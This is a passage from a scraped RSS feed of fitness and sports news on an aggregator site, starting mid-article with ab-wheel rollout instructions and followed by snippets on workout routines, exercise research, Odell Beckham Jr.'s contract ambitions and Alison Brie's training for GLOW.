Alright, this one may require a trip to the gym but trust me, it’ll be worth every minute of your time.If there’s one thing those infomercials got right, it’s the fact that ab wheels produces better muscle activation than crunches and leg raises.((SciELO: Muscle Activation Pattern During Isometric Ab Wheel Rollout Exercise in Different Shoulder Angle-Positions))As you roll out on the wheel, your trunk is forced to fire actively in order to maintain the neutrality of the spine and prevent collapsing due to gravity and your body weight.((Phys Ther.: Electromyographic analysis of traditional and nontraditional abdominal exercises: implications for rehabilitation and training.)) In order words, it does a great job of crushing your abs and carving out those much-desired six packs.

How to do the ab-wheel roll out
  • Get into a tabletop position and place some pads under your knees for protection.
  • Place your hands on the ab wheel and take a deep breath.
  • Push your belly backward to prevent it from sagging as you roll out.
  • Roll out the wheel as far as you comfortably can and keep your core tight all the way.
  • Hold the position for a few seconds and roll back in, fully engaging your abs as you do so.
  • To kick things up a notch, strap on a backpack containing some weight as you roll in and out.
  • Aim for 2-5 sets in the 10-15 rep range and you’ll definitely feel it in your abs for days to come.

Bonus Tip: Your other muscle groups

Before you dash off, don’t ignore other muscle groups!Here’s a little fact you need to wrap your head around – doing only ab exercises won’t give you six pack! Here’s why:Your abs are invisible because it’s covered by a heavy layer of abdominal fat.Excessive body fat results from calorie surplus, which means you take in more calories than you burn. And the abdomen is just one of the several fat-storage spots in the body.So, lowering your total body fat should be the first course of action and that requires a full body workout.Contrary to what some marketers would have you believe, you can’t directly target abdominal fat for elimination, there’s simply no scientific evidence behind this hocus pocus.((Med Sci Sports Exerc.: Subcutaneous fat alterations resulting from an upper-body resistance training program.))Although research has revealed that training a particular muscle group does increase lipolysis (conversion of fat into energy) and blood flow in that area, the effect is usually too negligible to matter.So, training a particular muscle group doesn’t make them cannibalize the fat covering them, although it does help those muscles to consume more energy as they get bigger.You may do hundreds of crunches and leg raises until your abs almost explode, but you still won’t see those abs if you don’t reduce the percentage of your total body fat 15% or less.((J Strength Cond Res.: The effect of abdominal exercise on abdominal fat.)) Fat loss is a full-body process and that means you need to stick to a calorie deficit and train all muscle groups to achieve it.

The bottom line

There are no magic tricks to carving out an impressive core! If you want great abs, you need to do three things – eat right, train right and burn fat!And no, this isn’t going to happen overnight, so you’ll have to commit months to the stomach workouts listed above, as well as full-body exercises to achieve your goal.Here’s the thing, though – you can do it!Start today, take it one day at a time and a few months from now you’ll look in the mirror and love what you see. Stop sitting around, get out there and get it done!

]]> https://briefnews.eu/5-killer-stomach-workouts-for-impressive-abs/feed/ 0 The CEO of Clif Bar has planned his entire week of workouts on Sundays for nearly 19 years https://briefnews.eu/the-ceo-of-clif-bar-has-planned-his-entire-week-of-workouts-on-sundays-for-nearly-19-years/ https://briefnews.eu/the-ceo-of-clif-bar-has-planned-his-entire-week-of-workouts-on-sundays-for-nearly-19-years/#respond Thu, 24 May 2018 12:08:53 +0000 http://briefnews.eu/the-ceo-of-clif-bar-has-planned-his-entire-week-of-workouts-on-sundays-for-nearly-19-years/ kevin cleary clif barClif Bar & Company

  • Clif Bar CEO Kevin Cleary plans his workouts well ahead of time.
  • For nearly 19 years, he’s planned his week’s worth of workouts on Sundays to accommodate his schedule.
  • He finds planning ahead helps keep his mornings more streamlined and his workouts more consistent.

Clif Bar CEO Kevin Cleary plans ahead.

In “My Morning Routine: How Successful People Start Every Day Inspired,” he told authors Benjamin Spall and Michael Xander that he takes his morning routine — most importantly, his workouts — seriously. Cleary is a father of three, and if he didn’t take advantage of mornings, he said, “I don’t know when I would find that time.”

See the rest of the story at Business Insider

NOW WATCH: This 7-minute fitness routine is all you need to get in shape

See Also:

SEE ALSO: I interviewed over 300 highly successful people about their morning routines — here are 5 things they do to have a focused and productive day, every day

]]> https://briefnews.eu/the-ceo-of-clif-bar-has-planned-his-entire-week-of-workouts-on-sundays-for-nearly-19-years/feed/ 0 One type of exercise is the closest thing to a miracle drug that we have — and new research suggests intense workouts aren’t the only option https://briefnews.eu/one-type-of-exercise-is-the-closest-thing-to-a-miracle-drug-that-we-have-and-new-research-suggests-intense-workouts-arent-the-only-option/ https://briefnews.eu/one-type-of-exercise-is-the-closest-thing-to-a-miracle-drug-that-we-have-and-new-research-suggests-intense-workouts-arent-the-only-option/#respond Sun, 25 Mar 2018 13:38:36 +0000 http://briefnews.eu/one-type-of-exercise-is-the-closest-thing-to-a-miracle-drug-that-we-have-and-new-research-suggests-intense-workouts-arent-the-only-option/ woman running jogging exercise

  • Many people wonder whether it’s better for your health to do occasional intense workouts or daily low-level activity.
  • New research from the American Heart Association suggests that it doesn’t matter, as long as your workouts fall into one category: aerobic exercise.
  • That means that whether you’re signed up for a twice-weekly spinning class or you simply move around a lot throughout the day, your body and brain will reap the benefits.

To walk or to run, that is often the question.

In other words, if you’re looking to improve your health, is it better to commit to an occasional all-out sweat fest or simply incorporate more walking and moving into your day?

A new study suggests a simple answer to this years-old conundrum: it doesn’t matter.

For better health and a reduced risk of death from all causes, any kind of movement is better than little or none.

That means that any effort that gets you moving and breathing — whether it’s a twice-weekly heart-pounding kickboxing class or a 30-minute walk to work — has measurable benefits for your brain and body.

The research, published Friday in the Journal of the American Heart Association, used data on physical activity and death rates from national surveys of more than 4,800 adults. The authors of the study sorted peoples’ activity into two categories: their total minutes of activity per day and their total minutes of “bouted” or intense or concentrated activity per day.

To count as a “bout,” an exercise spell had to last at least 5-10 minutes, but breaks of 1-2 minutes between bouts were allowed. The researchers then looked for potential linkages between subjects’ activity levels, types of activity, and their chances of dying from any causes.

You might assume that people with more bouted activity — including workouts like cycling classes, interval training or tabata, and marathon training— fared better than people who simply walked or moved around a lot. In reality, the study revealed that neither type of activity had a significant edge over the other.

“The key message based on the results,” the authors wrote, “is that total physical activity (i.e., of any bout duration) provides important health benefits.”

Why cardio exercise is so good for our brain and body

The most recent study didn’t examine the types of activity that participants did in detail, but plenty of other research has extolled the benefits of cardio, or aerobic, workouts— defined as any type of movement that raises your heart rate and gets you moving and sweating for a sustained period of time.
Unlike weight or strength training, which involves working specific muscle groups, cardio raises your heart rate, thereby improving heart and lung health.

Aerobic exercise has also been tied to a wide range of benefits for the brain, including lifts in mood, improvements in the symptoms of depression, and even potential protection against some forms of age-related cognitive decline.

Cardio workouts “have a unique capacity to exhilarate and relax, to provide stimulation and calm, to counter depression and dissipate stress,” according to a recent article in Harvard’s “Mind and Mood” blog.

The reason aerobic workouts lift our spirits seems related to their ability to reduce levels of natural stress hormones, such as adrenaline and cortisol, according to a study in the Journal of Physical Therapy Science. Activities like running and swimming also increase overall blood flow and provide our minds fresh energy and oxygen — another factor that could help us feel better.

So whether you’re looking for benefits related to mood, memory, or overall health, the take-home message is clear: the more you move, the healthier you’re likely to be.

]]> https://briefnews.eu/one-type-of-exercise-is-the-closest-thing-to-a-miracle-drug-that-we-have-and-new-research-suggests-intense-workouts-arent-the-only-option/feed/ 0 Weight loss exercise: Seven reasons why cold weather workouts can benefit your health https://briefnews.eu/weight-loss-exercise-seven-reasons-why-cold-weather-workouts-can-benefit-your-health/ https://briefnews.eu/weight-loss-exercise-seven-reasons-why-cold-weather-workouts-can-benefit-your-health/#respond Wed, 14 Feb 2018 20:36:32 +0000 http://briefnews.eu/weight-loss-exercise-seven-reasons-why-cold-weather-workouts-can-benefit-your-health/

WEIGHT loss through exercise can be difficult at this time of year with the shorter days and cooler temperatures, but working out in cold weather can actually benefit your health in a number of ways.

]]> https://briefnews.eu/weight-loss-exercise-seven-reasons-why-cold-weather-workouts-can-benefit-your-health/feed/ 0 I tried the science-backed 7-minute routine that was one of 2017’s hottest workouts, and it actually works https://briefnews.eu/i-tried-the-science-backed-7-minute-routine-that-was-one-of-2017s-hottest-workouts-and-it-actually-works/ https://briefnews.eu/i-tried-the-science-backed-7-minute-routine-that-was-one-of-2017s-hottest-workouts-and-it-actually-works/#respond Tue, 09 Jan 2018 15:11:42 +0000 http://briefnews.eu/i-tried-the-science-backed-7-minute-routine-that-was-one-of-2017s-hottest-workouts-and-it-actually-works/ crunches sideBusiness Insider/Erin Brodwin

When I first heard about an app that promises the benefits of a sweaty bike ride or trip to the gym in seven minutes, I assumed it was all hype.

It isn’t.

Designed by exercise physiologist Chris Jordan, the Johnson & Johnson Official 7 Minute Workout gets your heart pumping and helps build muscle.

The app is a great introduction to a trendy type of fitness routine called interval training, and it’s ideal for weekends or days when I can’t make it to my regular yoga class.

Here’s what it’s like.

The entire workout really takes just seven minutes. I was initially skeptical about whether I could accomplish this much in such a narrow time frame.

Johnson & Johnson Human Performance Institute

The program consists of 72 exercises like jumping jacks, sit-ups, and push-ups. Ten require nothing but your body, and for others, you just need a chair that can support your weight. The latest version of the app lets you do each exercise along with Jordan.

Johnson & Johnson Human Performance Institute

To do my workout, I set up a yoga mat on the hardwood floor of my office and used a stool.

Business Insider/Erin Brodwin


See the rest of the story at Business Insider

]]> https://briefnews.eu/i-tried-the-science-backed-7-minute-routine-that-was-one-of-2017s-hottest-workouts-and-it-actually-works/feed/ 0 Hip replacement warning: Gym workouts are being BLAMED for a rise in operations https://briefnews.eu/hip-replacement-warning-gym-workouts-are-being-blamed-for-a-rise-in-operations/ https://briefnews.eu/hip-replacement-warning-gym-workouts-are-being-blamed-for-a-rise-in-operations/#respond Wed, 27 Sep 2017 03:31:27 +0000 http://briefnews.eu/hip-replacement-warning-gym-workouts-are-being-blamed-for-a-rise-in-operations/

HIP replacements – along with many other injuries – are on the rise, and the increase is being blamed by experts on over-exercising.

Daily Express :: Health Feed

]]> https://briefnews.eu/hip-replacement-warning-gym-workouts-are-being-blamed-for-a-rise-in-operations/feed/ 0 Two months after skipping workouts, Odell Beckham Jr. says he should be the NFL’s highest-paid player https://briefnews.eu/two-months-after-skipping-workouts-odell-beckham-jr-says-he-should-be-the-nfls-highest-paid-player/ https://briefnews.eu/two-months-after-skipping-workouts-odell-beckham-jr-says-he-should-be-the-nfls-highest-paid-player/#respond Sat, 29 Jul 2017 12:04:34 +0000 http://briefnews.eu/two-months-after-skipping-workouts-odell-beckham-jr-says-he-should-be-the-nfls-highest-paid-player/ Odell Beckham Jr.Seth Wenig/AP

The New York Giants reported for training camp less than two days ago, and star wide receiver Odell Beckham Jr. has already caused a stir around the league.

In a video posted by Uninterrupted, Beckham outlined one of his main career goals, and it didn’t have anything to do with bringing the Lombardi Trophy back to MetLife Stadium. Instead, the 24-year-old LSU product stated his desire to be the NFL’s highest-paid player.

“It’s like the elephant in the room, and you don’t want to talk about it,” Beckham said. “But I’ve gotten to the point in my life where I’m like…there’s no need to not talk about it…I believe that I will be hopefully not just the highest-paid receiver in the league, but the highest-paid, period.”

It was a big statement from Beckham, especially in a league that values quarterbacks more than ever before. Of the 12 players to make over $ 20 million last season, nine were quarterbacks, while the highest-paid wide receiver in the game, Dez Bryant, made just $ 17 million.

Beckham has been among the best wideouts in the game in his three seasons, racking up over 4,000 receiving yards and 35 touchdowns while making the Pro Bowl every year. Still, becoming the highest-paid player in the league is a lofty goal. The 24-year-old is under contract for two more seasons, so accounting for inflation, he’d likely need to secure upwards of $ 25 million per year.

The bold declaration came less than two months after Beckham skipped workouts in a move that appeared to be a holdout designed to net a new contract. He skipped all of the Giants’ voluntary OTA workouts, prompting head coach Ben McAdoo to express his disappointment to the media.

Beckham was undeterred, however, retweeting this tweet.

These antics may be distracting, but they aren’t anything new from Beckham. This is the same receiver who punched a hole in Lambeau Field after a playoff loss to the Packers and once faked a marriage proposal to a kicking net. He’s one of the most animated and outspoken players in the NFL, and the Giants know it.

The team’s front office, for its part, seems intent on keeping Beckham — perhaps at any cost. Per the New York Post, Giants owner John Mara recently remarked that “we certainly don’t want to see him playing in another uniform.”

NOW WATCH: This Minnesota ski resort is giving skiers fun all year round with artificial turf

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]]> https://briefnews.eu/two-months-after-skipping-workouts-odell-beckham-jr-says-he-should-be-the-nfls-highest-paid-player/feed/ 0 The insane workouts Alison Brie did to get in shape for her new show https://briefnews.eu/the-insane-workouts-alison-brie-did-to-get-in-shape-for-her-new-show/ https://briefnews.eu/the-insane-workouts-alison-brie-did-to-get-in-shape-for-her-new-show/#respond Sat, 10 Jun 2017 18:17:13 +0000 http://briefnews.eu/the-insane-workouts-alison-brie-did-to-get-in-shape-for-her-new-show/ Glow Netflix finalNetflix

At 5’3″, Alison Brie seems like the last person who could play a convincing professional wrestler, but her trainer is here to tell you she’s the real deal. 

For Brie’s new show, Netflix’s “GLOW” (available June 23), the funny actress busted her butt for months with trainer Jason Walsh to not just look the part, but also to actually withstand the rigors of playing one of the Gorgeous Ladies of Wrestling.

“Alison did all her stunts,” Walsh recently told Business Insider. “I’ll tell you right now, I’ve worked with a lot of people and she’s a little bad a–.”

In “GLOW,” Brie stars as Ruth Wilder, a struggling actress who gets invited to audition along with 12 other women for the professional wrestling promotion Gorgeous Ladies of Wrestling (G.L.O.W.), which was indeed a real promotion started in the ’80s.

Walsh, who’s worked with everyone from Emily Blunt on “Edge of Tomorrow” to Matt Damon for “Jason Bourne,” put together a workout plan for Brie that was a mix of cardio and strength training four days a week (often with a workout in the morning and afternoon each day) so her body could take the abuse.

“Alison would be jumping off ropes and landing on people and flipping. I wanted to get her resilient so she didn’t run the risk of injury,” Walsh said. “The science of training has really shifted the past decade to that more than glamour muscles.” 

Walsh did this through two different workout methods of his creation: Rise Movement, which is one-on-one strength training, and Rise Nation, a cardio class in which clients use a VersaClimber.

Here’s a glimpse at the exercises Walsh put Brie through:

Heavy bag slams

Here’s Brie (center) with Molly McQueen (left) and Mika Kelly (right) doing this insane workout.

“This is a full-body, explosive workout for conditioning,” Walsh said.

They would do 6 sets of 5 reps.

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Deadlifts

Another full-body workout. Walsh said Brie was deadlifting 165 pounds and did 6 sets of 3-5 reps.

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Farmer walks

“Great way to get the body warmed up,” Walsh said. Brie held onto 65-pound dumbbells and did 45-second walks for 3-4 sets.

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See the rest of the story at Business Insider

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]]> https://briefnews.eu/the-insane-workouts-alison-brie-did-to-get-in-shape-for-her-new-show/feed/ 0 Roxana Vancea gets internet hot under the collar with her steamy workouts https://briefnews.eu/roxana-vancea-gets-internet-hot-under-the-collar-with-her-steamy-workouts/ https://briefnews.eu/roxana-vancea-gets-internet-hot-under-the-collar-with-her-steamy-workouts/#respond Thu, 28 Jul 2016 14:04:54 +0000 http://latestnewsline.com/2016/07/28/roxana-vancea-gets-internet-hot-under-the-collar-with-her-steamy-workouts/

ROXANA VANCEA works hard to maintain her famous curves.
Daily Express :: Life & Style Feed

]]> https://briefnews.eu/roxana-vancea-gets-internet-hot-under-the-collar-with-her-steamy-workouts/feed/ 0